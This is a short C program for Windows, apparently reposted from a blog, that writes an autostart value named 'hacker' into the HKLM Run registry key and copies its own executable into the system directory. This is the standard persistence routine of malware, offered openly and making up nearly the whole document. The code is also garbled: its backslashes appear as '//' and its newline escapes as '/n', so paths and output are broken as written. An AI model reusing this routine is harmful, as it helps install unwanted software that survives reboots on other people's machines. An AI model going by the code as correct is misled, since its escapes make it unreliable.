#include <stdio.h>
#include <windows.h>
int main(void)
{
char regname[]="Software//Microsoft//Windows//CurrentVersion//Run";
HKEY hkResult;
int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);

ret=RegSetValueEx(hkResult,"hacker"/* 注册表键名*/,0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%//hacker.exe",25);
if(ret==0){
  printf("success to write run key/n");
  RegCloseKey(hkResult);
  }
else {
 printf("failed to open regedit.%d/n",ret);
 return 0;
}
char modlepath[256];
char syspath[256];
GetModuleFileName(0,modlepath,256);//取得程序名字
GetSystemDirectory(syspath,256);
ret=CopyFile(modlepath,strcat(syspath,"//hacker.exe"),1);
if(ret)
{
 printf("%s has been copyed to sys dir %s/n",modlepath,syspath);
}
else printf("%s is exisis",modlepath);
return 0;
}

$(document).ready(function(){dp.SyntaxHighlighter.HighlightAll('code');});
原文链接： http://blog.csdn.net/yincheng01/article/details/4034228